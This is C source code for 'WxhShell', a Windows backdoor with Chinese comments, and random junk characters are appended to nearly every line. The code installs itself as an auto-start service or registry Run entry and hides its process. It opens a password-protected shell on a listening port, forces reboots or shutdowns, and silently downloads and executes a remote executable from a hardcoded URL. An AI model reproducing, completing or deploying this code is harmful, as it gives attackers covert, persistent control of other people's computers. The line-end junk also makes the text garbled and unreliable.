    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <b Ta88,)  
    else { Vr0RdO  
    closesocket(wsh); rWvJ{-%  
    ExitThread(0); Tf0#+6 1>  
    } HRw,D=  
    break; x`eYCi  
    } o`sn/x  
  // 获取shell d7G'+B1  
  case 's': { rz.`$b  
    CmdShell(wsh); vRY4N{v(<  
    closesocket(wsh); , zw  
    ExitThread(0); 0^[$0]Mt[  
    break; fg1 zT~  
  } =q"3a9 pb7  
  // 退出 Ahebr{u  
  case 'x': { uC;@Yi8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ss2:8up 99  
    CloseIt(wsh); 6% ,Q  
    break; Y.C*|p#  
    } LQQhn{[D  
  // 离开 ):[[Ch_  
  case 'q': { $Y4 Ao-@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?NwFpSB2  
    closesocket(wsh); Q%>,5(_V]  
    WSACleanup(); D>1Dao  
    exit(1); !9N%=6\  
    break; L'6zs:i  
        } >3Y&jsh<  
  } Je*gMq:D  
  } *LhR$(F(  
)i>KYg w  
  // 提示信息 4i19HD_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5y~[2jB:  
} UmJg-~  
  } PRUGUHY  
C eg6 o &^  
  return; u@|yw)  
} #\M<6n{  
EagI)W!s[  
// shell模块句柄 Fq3;7Cq=hD  
int CmdShell(SOCKET sock) bVrvb`0  
{ f Gfv{4R  
STARTUPINFO si; ~>EVI=?  
ZeroMemory(&si,sizeof(si)); >]`x~cE.5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ':[y]ep(~|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `<Ftn  
PROCESS_INFORMATION ProcessInfo; r#j*vO '  
char cmdline[]="cmd"; &vn9l#\(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cP Y^Bf5)  
  return 0; HvngjP{>  
} I[|I\tW  
ls5S9R 5  
// 自身启动模式 MWuVV=rd8a  
int StartFromService(void) "N;|~S)w!  
{ $pKS['J0  
typedef struct BZBsE :(F  
{ JSL 3.J  
  DWORD ExitStatus; &0"`\~lA  
  DWORD PebBaseAddress; (+@.L7>m+t  
  DWORD AffinityMask; )Qc$UI8L  
  DWORD BasePriority; #-`lLI:w0  
  ULONG UniqueProcessId; WZr~Pb9  
  ULONG InheritedFromUniqueProcessId; "&ks8 3  
}   PROCESS_BASIC_INFORMATION; g=%&p?1@E  
v 7R&9kU{  
PROCNTQSIP NtQueryInformationProcess; ^Ve^}|qPc  
(1o^Dn3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <vrx8Q*6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (AS%P?  
8?$2;uGL  
  HANDLE             hProcess; v3NaX.  
  PROCESS_BASIC_INFORMATION pbi; /IC' R"V a  
Zry>s0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :8ZxOwwv  
  if(NULL == hInst ) return 0; Y `{U45  
^/+sl-6/F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?-f>zx8O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cr` 0C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `#]\Wnp~y  
fS ~.K9  
  if (!NtQueryInformationProcess) return 0; `4=b|N+b"  
$1v5*E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ymzm x$o=  
  if(!hProcess) return 0; S;NXOsSu  
HT&0i,`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zxh"@j$?  
cm]]9z_<  
  CloseHandle(hProcess); gr;M  
oxzNV&D[{`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7I|%GA_  
if(hProcess==NULL) return 0; 1mX*0>  
1 W0;YcT]  
HMODULE hMod; x6t;=  
char procName[255]; |^F-.Z  
unsigned long cbNeeded; GXfVjC31z  
qkIU>b,B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  UyQn onS  
o;[oy#aWl_  
  CloseHandle(hProcess); 'GFzI:Xr  
]VvJ1Xn0  
if(strstr(procName,"services")) return 1; // 以服务启动  W 6~=?C  
c;^J!e  
  return 0; // 注册表启动 coWBKWF  
} ff#-USK^R  
9<#D0hh$  
// 主模块 >=V+X"\Z  
int StartWxhshell(LPSTR lpCmdLine) ZwMw g t  
{ .bE,Q9:  
  SOCKET wsl; ?@1'WD t  
BOOL val=TRUE; p[b\x_0%c  
  int port=0; P5>CSWy%  
  struct sockaddr_in door; TI>yi ^}  
V|AE~R^  
  if(wscfg.ws_autoins) Install(); }$-VI\96  
MjpJAV/84  
port=atoi(lpCmdLine); pd#/;LT  
Xo`1#6xsE  
if(port<=0) port=wscfg.ws_port; AJT0)FCpR  
,<1*  
  WSADATA data; 6"7qZq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z'lNO| nU  
Iqsk\2W]a3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qC )VT3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L?0l1P  
  door.sin_family = AF_INET; ~S3eatM$9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \ax%I)3  
  door.sin_port = htons(port); V5B-S.i@  
{Fi@|'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -e~U u  
closesocket(wsl); 9^u?v`!  
return 1; qN@a<row&~  
} qedGBl&  
|Z ,G  
  if(listen(wsl,2) == INVALID_SOCKET) { +&OqJAu  
closesocket(wsl); Q(UGwd1  
return 1; 5F"?]'*/  
} Nd!VR+IZ  
  Wxhshell(wsl); vi8~j  
  WSACleanup(); F :S,{&jB  
W[Bu&?h$  
return 0; "NU".q  
?N*0 S'dY  
} c~xo@[NaS  
!9, pX  
// 以NT服务方式启动 -`OR6jd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 91H0mP>ki  
{ v=tj.Vg  
DWORD   status = 0;  3Mx@  
  DWORD   specificError = 0xfffffff; ]%|WE  
QIK73^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u4@e=vW I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6>:~?gs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cO,V8#H  
  serviceStatus.dwWin32ExitCode     = 0; xV#a(>-4  
  serviceStatus.dwServiceSpecificExitCode = 0; Hc]1mM  
  serviceStatus.dwCheckPoint       = 0; AxlFU~E4  
  serviceStatus.dwWaitHint       = 0; GYC&P]  
wkD:i2E7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (0W}e(D8  
  if (hServiceStatusHandle==0) return; Eap/7U1Q  
y.p6%E_`  
status = GetLastError(); -vHr1I<  
  if (status!=NO_ERROR) SFk#bh  
{ A Vm{#^p[(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~lqGnNhh 7  
    serviceStatus.dwCheckPoint       = 0; V:BX"$ J1  
    serviceStatus.dwWaitHint       = 0; nud=uJ"(  
    serviceStatus.dwWin32ExitCode     = status; iIaT1i4t.  
    serviceStatus.dwServiceSpecificExitCode = specificError; PuCDsojclh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z,FTsR$x  
    return; br  Z, s  
  } /;AZ/Ocy!  
1G%PXrEj8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l&*)r;9  
  serviceStatus.dwCheckPoint       = 0; \bm6/fhA:  
  serviceStatus.dwWaitHint       = 0; =`~Z@IbdI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t3t0vWE<,  
} i1I>RK  
&_d/ciq1f  
// 处理NT服务事件,比如:启动、停止 GWhAjL/N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qQOD  
{ <m,yFk  
switch(fdwControl) K;p<f{PE  
{ Xexe{h4t_>  
case SERVICE_CONTROL_STOP: >:E* 7  
  serviceStatus.dwWin32ExitCode = 0; f&}A!uLe4x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lhoq3A  
  serviceStatus.dwCheckPoint   = 0; d-;9L56{P  
  serviceStatus.dwWaitHint     = 0; fu<2t$Cn>  
  { `E5"Pmg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rA1r#ksQ  
  } u=;nU(]M '  
  return; rLh9`0|D  
case SERVICE_CONTROL_PAUSE: VS|( "**  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g'ZMV6b?K  
  break; UIOEkQ\Wl  
case SERVICE_CONTROL_CONTINUE: 0sDwTb"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BwJ^_:(p~  
  break; 7B]:3M6d  
case SERVICE_CONTROL_INTERROGATE: 1N9< d,  
  break; D2</^]3Su  
}; +Y)#yGUn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #RM3^]h  
} F|l`YtZZd  
x8?x/xE  
// 标准应用程序主函数 pp]_/46nN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +K%pxuVh  
{ OR\DTLIl  
pEVgJ/>  
// 获取操作系统版本 D!}K)T1~R  
OsIsNt=GetOsVer(); x}&a{;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]hE +$sKd  
oU0 h3  
  // 从命令行安装 6I>5~?#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;DD>k bd  
("E!Jyc!  
  // 下载执行文件 ~sU?"V  
if(wscfg.ws_downexe) { ) p<fL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3`k[!!   
  WinExec(wscfg.ws_filenam,SW_HIDE); (+UmUx=  
} yYToiW *  
a,~D+s;^  
if(!OsIsNt) { T+WZE  
// 如果时win9x,隐藏进程并且设置为注册表启动 m0 j|58~  
HideProc(); =1*%>K  
StartWxhshell(lpCmdLine); W&e'3gk_  
} cRh\USS  
else *:9 >W$0u  
  if(StartFromService()) H 5U x.]y  
  // 以服务方式启动 Ty3CBR{6  
  StartServiceCtrlDispatcher(DispatchTable); SgpZ;\_  
else .6#cDrK  
  // 普通方式启动 ],\sRQbv&  
  StartWxhshell(lpCmdLine); IAP/G5'Q  
hu P^2*c  
return 0; &^&$!Xmu9  
} eb!s'@  
DhLr^Z!h3;  
l*K I  
O xT}I  
=========================================== N )zPxQ  
U['JFLF  
| "Jx  
j?\$G.Y  
> 'aG /(  
& =73D1A  
" X<~k =qwA  
mPs%ZC  
#include <stdio.h> m!5HRjOO  
#include <string.h> wfBuU>  
#include <windows.h> 7deAr$?Wx  
#include <winsock2.h> -c+>j  
#include <winsvc.h> ^n&]HzT`y  
#include <urlmon.h> s>jr1~~3O_  
O`i)?BC  
#pragma comment (lib, "Ws2_32.lib") X!o[RJY  
#pragma comment (lib, "urlmon.lib") {gFAvMj #  
%/l-A pu  
#define MAX_USER   100 // 最大客户端连接数 $A;7Em  
#define BUF_SOCK   200 // sock buffer 3s`V)aXP  
#define KEY_BUFF   255 // 输入 buffer =Kc|C~g  
EqD^/(,L2  
#define REBOOT     0   // 重启 j?:`-\w5  
#define SHUTDOWN   1   // 关机 ?}'N_n ys  
;w`sz.  
#define DEF_PORT   5000 // 监听端口 *A?8F"6>  
{ExII<=6  
#define REG_LEN     16   // 注册表键长度 9ZDVy7m\i-  
#define SVC_LEN     80   // NT服务名长度 WI1T?.Gc   
:7p9t.R<$h  
// 从dll定义API UrO=!Gk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ePp[m zg6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SU%mmw ES3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #V.ZdLo(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PXw| L  
[ rQMD^:M$  
// wxhshell配置信息 I&L.;~  
struct WSCFG { U^%9 )4bj  
  int ws_port;         // 监听端口 rO/a,vV  
  char ws_passstr[REG_LEN]; // 口令 "^;#f+0  
  int ws_autoins;       // 安装标记, 1=yes 0=no P<%v +O  
  char ws_regname[REG_LEN]; // 注册表键名 -xJX_6}A  
  char ws_svcname[REG_LEN]; // 服务名 iv:,fkwG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {(rf/:X!p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X*pZNz&E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tg~A}1o`0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7\IL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j~Q}F|i8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A LXUaE.  
Q  |  
}; b,#`n  
8y$5oD6g9  
// default Wxhshell configuration m</]D WJ  
struct WSCFG wscfg={DEF_PORT, }>2t&+v+  
    "xuhuanlingzhe", WgE@89  
    1, NW z9C=y  
    "Wxhshell", N 0+hejz  
    "Wxhshell", b -PSm=`  
            "WxhShell Service", B@ -|b  
    "Wrsky Windows CmdShell Service", hZcmP"wgC1  
    "Please Input Your Password: ", \B_i$<Sz  
  1, zhNQuK,L  
  "http://www.wrsky.com/wxhshell.exe", 0|g[o:;fl_  
  "Wxhshell.exe" WtIMvk  
    }; }N?g|  
wHx}U M"  
// 消息定义模块 ?RHn @$g8M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'X9AG6K1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lM>.@:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rwy+~  
char *msg_ws_ext="\n\rExit."; +A@m9  
char *msg_ws_end="\n\rQuit."; d$w(-tV42  
char *msg_ws_boot="\n\rReboot..."; @B?FE\  
char *msg_ws_poff="\n\rShutdown..."; _ w/_(k  
char *msg_ws_down="\n\rSave to "; Ua %UbAt  
.}o~VT:!?Y  
char *msg_ws_err="\n\rErr!";  Nj+a2[  
char *msg_ws_ok="\n\rOK!"; ;_}~%-_ ~  
-$. 0Dc)3!  
char ExeFile[MAX_PATH]; AcKU^T+  
int nUser = 0; iC\%_5/ _  
HANDLE handles[MAX_USER]; alFNSRY  
int OsIsNt; u t$c)_  
j !`B'{cH  
SERVICE_STATUS       serviceStatus; xA92 C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H ( vx/q  
/0(%(2jIWl  
// 函数声明 x|8^i6xB  
int Install(void); yO00I`5  
int Uninstall(void); "?35C !  
int DownloadFile(char *sURL, SOCKET wsh); F% `zs\  
int Boot(int flag); E, GN|l  
void HideProc(void); Nb0Ik/:<  
int GetOsVer(void); O$^xkv5.  
int Wxhshell(SOCKET wsl); OZf6/10O/  
void TalkWithClient(void *cs); Zae.MO^C!  
int CmdShell(SOCKET sock); k0JW[04j  
int StartFromService(void); S<"oUdkz  
int StartWxhshell(LPSTR lpCmdLine); %)?`{O~ h  
@Gt`Ds9=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Or7 mD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &=X.*H%  
|jsb@  
// 数据结构和表定义 SrFx_n  
SERVICE_TABLE_ENTRY DispatchTable[] = |d[5l^6  
{ dN< , %}R  
{wscfg.ws_svcname, NTServiceMain}, $E\^v^LW  
{NULL, NULL} w9MoT.kI}  
}; M 7rIi\4K4  
\8e2?(@"k  
// 自我安装 ?E6^!4=,  
int Install(void) +1QK}H ~  
{ ;r.EC}>m  
  char svExeFile[MAX_PATH]; Lkn4<'un  
  HKEY key; KFU%DU G  
  strcpy(svExeFile,ExeFile); 6kN:*  
0 Qnd6mb  
// 如果是win9x系统,修改注册表设为自启动 \9`#]#1bx5  
if(!OsIsNt) { dxK9:IX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k=$AhT=e}n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1yM r~Fo  
  RegCloseKey(key); 7VAJJv3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b5<okICD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 22&;jpL'?  
  RegCloseKey(key); $5NKFJc  
  return 0; py @( <  
    } l(!/Q|Q|  
  } E"6X|I n  
} ! \sMR  
else { wksl0:BL  
:QPf~\w?  
// 如果是NT以上系统,安装为系统服务 19W:-Om  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  lq>AGw  
if (schSCManager!=0) Y1)!lTG  
{ nls   
  SC_HANDLE schService = CreateService wP<07t[-g  
  ( z=g$Exl  
  schSCManager, pvF-Y9Xb  
  wscfg.ws_svcname, vcv CD7MD  
  wscfg.ws_svcdisp, BhkoSkr  
  SERVICE_ALL_ACCESS, q9]IIv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /&^W#U$4  
  SERVICE_AUTO_START, V kjuyK  
  SERVICE_ERROR_NORMAL, 9AQxNbs  
  svExeFile, T.ML$"f  
  NULL, .X'pq5  
  NULL, A%X X5*  
  NULL, cj$d=k~  
  NULL, F9a^ED0l\  
  NULL _MuZ4tc  
  ); 02=lsV!U  
  if (schService!=0) r@kP*  
  { |ZiC`Nt  
  CloseServiceHandle(schService); 'V (,.'  
  CloseServiceHandle(schSCManager); `\CVV*hP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M'L;N!1A  
  strcat(svExeFile,wscfg.ws_svcname); fQdK]rLj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tU :EN;H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q%i-`S]}qL  
  RegCloseKey(key); cBXWfv4  
  return 0; %JyXbv3m,  
    } {<=#*qx[Y!  
  } />44]A<  
  CloseServiceHandle(schSCManager); @7 <uMasfp  
} (Un_!)  
} ,r8Tbk]m  
\r {W  
return 1; _S`o1^Ad  
} ;j%BK(5  
2=iH$v  
// 自我卸载 C\*4q8(  
int Uninstall(void) ,xfO;yd  
{ 8gy_Yj&{P  
  HKEY key; gckI.[!b  
IzLQhDJ1  
if(!OsIsNt) { X3%Ic`Lq#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qfoD  
  RegDeleteValue(key,wscfg.ws_regname); {d<;BLA  
  RegCloseKey(key); F?-R$<Cn2~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aZ|=(]  
  RegDeleteValue(key,wscfg.ws_regname); N?P%-/7  
  RegCloseKey(key); oCS2E =O&  
  return 0; nNt1C  
  } Zd:Taieh@  
} ep/Y^&$M  
} 5jxQW ;  
else { ZJ*g)) k7  
N<(.%<!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kgi>} %  
if (schSCManager!=0) /Q{P3:k  
{ ;j8 )KC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3?n>yS  
  if (schService!=0) w= P 9FxB  
  { 2*iIjw3g  
  if(DeleteService(schService)!=0) { $*R/tJ.  
  CloseServiceHandle(schService); {0"YOS`3AX  
  CloseServiceHandle(schSCManager); *%/~mSx  
  return 0; ({WyDu&=  
  } A:l@_*C..  
  CloseServiceHandle(schService); H<EQu|f&x  
  } Q[F}r`  
  CloseServiceHandle(schSCManager); ^ vilgg~  
}  rl2&^N  
} #~O b)q|  
0tg8~H3yy  
return 1; kn"(mJe$  
} xg_D f,  
::FS/Y]Fg  
// 从指定url下载文件 :>Rv!x`  
int DownloadFile(char *sURL, SOCKET wsh) <Z}SKR"U%  
{ XxIHoX&  
  HRESULT hr; /,=@8k!t?  
char seps[]= "/"; { FZ=olZ  
char *token; 3psU?8(  
char *file; Z_1U9 +,  
char myURL[MAX_PATH]; 7\FXz'hA  
char myFILE[MAX_PATH]; V-'K6mn;  
fjk\L\1  
strcpy(myURL,sURL); W6H,6v  
  token=strtok(myURL,seps); l<0}l^C.  
  while(token!=NULL) X4l@woh%  
  { ^j#rZ;uc   
    file=token; ~vlype3/EF  
  token=strtok(NULL,seps); |waIpB(  
  } $Iv2j">3)  
W"^wnGa@a  
GetCurrentDirectory(MAX_PATH,myFILE); a<}#HfC;'  
strcat(myFILE, "\\"); ]$b[` g&  
strcat(myFILE, file); b306&ZVEk  
  send(wsh,myFILE,strlen(myFILE),0); B(xN Gs  
send(wsh,"...",3,0); M" ^PW,k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ./Q,  
  if(hr==S_OK) %NL^WG:  
return 0; ; bHV  
else _=CZR7:O  
return 1; !aO` AC=5u  
^WBuMCe  
} Z87_#5  
w?kJ+lmOQy  
// 系统电源模块 dT,o=8fg  
int Boot(int flag) "BX!  
{ {ZY+L;eg1  
  HANDLE hToken; P) 3mX.(}  
  TOKEN_PRIVILEGES tkp; U- )i+}Ng  
J{^RkGF  
  if(OsIsNt) { Uf}\p~;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x#Sqn#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F 8B#}%JE  
    tkp.PrivilegeCount = 1; ,U(1NK8o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AL>$HB$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jgnhn>dHe  
if(flag==REBOOT) { o sKKt?^?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a!O0,y  
  return 0; Xy5e5K  
} 8Q_SRwN  
else { >jD[X5Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4Y[1aQ(%  
  return 0; Y>'|oygHA  
} cM&{+el  
  } 5mb]Q)f9-  
  else { EkziAON  
if(flag==REBOOT) { jH_JmYd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BcI |:qv|  
  return 0; xyI}y(CN1  
} /7gOSwY  
else { q$=#A7H>3)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?lP':'P  
  return 0; E*+{t~  
} XQw>EZdj_N  
} L|p Z$HB  
y*X_T,K 8  
return 1; VkZ7#  
} nqLA}u4IM  
qvPtyc^fN  
// win9x进程隐藏模块 M![J2=  
void HideProc(void) B ~OZ2-~  
{ 720DV +o  
R?]02Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '3uVkp 6tF  
  if ( hKernel != NULL ) 8 @tV9+u  
  { kh`"WN Nt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eH{[C*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8YbE`32  
    FreeLibrary(hKernel); yj\Nkh  
  } c"[cNZo  
:Y[LN  
return; z*-2.}&U<  
} A{A\RSZ0  
?!+MM&c-n  
// 获取操作系统版本 P'_H/r/#  
int GetOsVer(void) 0\eIQp  
{ wp&=$Aa)'  
  OSVERSIONINFO winfo; ?"g!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ta7"6p-i@  
  GetVersionEx(&winfo); 13>0OKg`#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UeRj< \"Q  
  return 1; D|{jR~J)xK  
  else ga`3 (  
  return 0; J@u;H$@/y  
} %\:[ o  
bD?VU<)3  
// 客户端句柄模块 R~PA 1wDZ  
int Wxhshell(SOCKET wsl) #)nSr  
{ Om5Y|v"*  
  SOCKET wsh; , 'u W*kx  
  struct sockaddr_in client; qw^uPs7Uw  
  DWORD myID; adR)Uq9  
3xaR@xjS  
  while(nUser<MAX_USER) cH&J{WeZa  
{ ,LnII  
  int nSize=sizeof(client); w9bbMx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;<ZLc TL  
  if(wsh==INVALID_SOCKET) return 1; S Em Q@1  
Y/*mUS[oa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h%uZYsK  
if(handles[nUser]==0) 2%_vXo=I  
  closesocket(wsh); WHj'dodS  
else 2I,^YWR  
  nUser++; 9J2NH|]c  
  } W>j!Q^?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M r5v<  
c_4[e5z  
  return 0; 0E3[N:s  
} 0"pAN[=K@  
!]=d-RGNe  
// 关闭 socket sG92XJ  
void CloseIt(SOCKET wsh) md"!33 @  
{ c"B{/;A  
closesocket(wsh); G6$kv2(k`@  
nUser--; ;5659!;  
ExitThread(0); <4HDZ{"M  
} gMzcTmbc8  
zdYy^8V|z  
// 客户端请求句柄 3`t%g[D1  
void TalkWithClient(void *cs)  PoxK{Y  
{ ^rifRY-,yO  
!:q/Ye3.  
  SOCKET wsh=(SOCKET)cs; ;)D];u|_  
  char pwd[SVC_LEN]; xHD=\,{ig  
  char cmd[KEY_BUFF]; zem8G2#c  
char chr[1]; "eB$k40-  
int i,j; uM_wjP  
hhCrUn"  
  while (nUser < MAX_USER) { EK6:~  
Bu#VMk chJ  
if(wscfg.ws_passstr) { wAf\|{Vn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qVH1}9_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @$[?z9ck"  
  //ZeroMemory(pwd,KEY_BUFF); NQJq6S4@  
      i=0; [OC5l>  
  while(i<SVC_LEN) { E2R&[Q"%  
X\{LnZ@r4  
  // 设置超时 < t,zaIi  
  fd_set FdRead; leTf&W  
  struct timeval TimeOut; PHZ0P7  
  FD_ZERO(&FdRead); @~ ^5l  
  FD_SET(wsh,&FdRead); J  IUx  
  TimeOut.tv_sec=8; j+$rj  
  TimeOut.tv_usec=0; ]:XoRyIZ1[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,$s8GAmq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9\_eK,*B  
;$.J3!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Egg=yF>T  
  pwd=chr[0]; X=5xh  
  if(chr[0]==0xd || chr[0]==0xa) { A%KDiIA  
  pwd=0; CDQW !XHc  
  break; =8AO:  
  } Azl&mu  
  i++; n"G&ENN"$  
    } }`% *W`9b  
J&W)(Cf  
  // 如果是非法用户,关闭 socket |$8~?7Jv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c;Pe/d  
} 7z JRJ*NB  
Yc_8r+;(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p<2L.\6"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 ^h27A  
<m)$K  
while(1) { J8uLJ  
v+46 QK|I&  
  ZeroMemory(cmd,KEY_BUFF); /:~\5}tW  
tn(JC%?^  
      // 自动支持客户端 telnet标准   ,)Me  
  j=0; MQ 5R O;RY  
  while(j<KEY_BUFF) { T@2#6Tffo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m% -g~q  
  cmd[j]=chr[0]; f$e[u E r  
  if(chr[0]==0xa || chr[0]==0xd) { 7puFz4+f  
  cmd[j]=0; ObVGV  
  break; X[]m _@v  
  } 6Ypc`  
  j++; Ql/cN%^j$  
    } E ~Sb  
,?8qpEG~#+  
  // 下载文件 ORe(]I`Z  
  if(strstr(cmd,"http://")) { /uPcXq:L~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _x%7@ .TB  
  if(DownloadFile(cmd,wsh)) y{ibO}s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^1iSn)&  
  else [$0p+1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g!@<n1 L  
  } _}lZ,L(w  
  else { qE&v ;  
YVQN&|-  
    switch(cmd[0]) { PRu 6xsyA  
  .7e2YI,S  
  // 帮助 #hfXZVD  
